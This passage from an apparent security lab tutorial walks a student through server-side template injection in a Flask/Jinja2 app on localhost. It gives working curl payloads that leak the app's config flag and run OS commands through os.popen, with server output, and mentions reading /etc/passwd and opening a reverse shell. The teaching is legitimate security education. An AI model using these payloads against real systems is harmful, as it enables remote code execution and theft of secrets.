Reading the app's secrets
This is Jinja2 (Flask's engine), and inside a rendered template you can reach the application config — where this app keeps a secret flag:
curl -sg 'http://127.0.0.1:8080/app/greet?name={{config.FLAG}}'In the terminal
student@vulntech:~$ curl -sg 'http://127.0.0.1:8080/app/greet?name={{config.FLAG}}' <!doctype html><title>Greeting</title><p>Hello, vulntech{ssti_executes_template_code}!</p>
Reaching the operating system
Template objects chain all the way to Python's built-ins, which means command execution. Walk from a harmless template global to os and run a command:
curl -sg "http://127.0.0.1:8080/app/greet?name={{cycler.__init__.__globals__.os.popen('id').read()}}"In the terminal
student@vulntech:~$ curl -sg "http://127.0.0.1:8080/app/greet?name={{cycler.__init__.__globals__.os.popen('id').read()}}" <!doctype html><title>Greeting</title><p>Hello, uid=997(www) gid=997(www) groups=997(www) !</p>
The response carries the output of id — running as the web user. From here an attacker reads files (os.popen('cat /etc/passwd')), opens a reverse shell, or pivots further. A template bug is a remote-code-execution bug.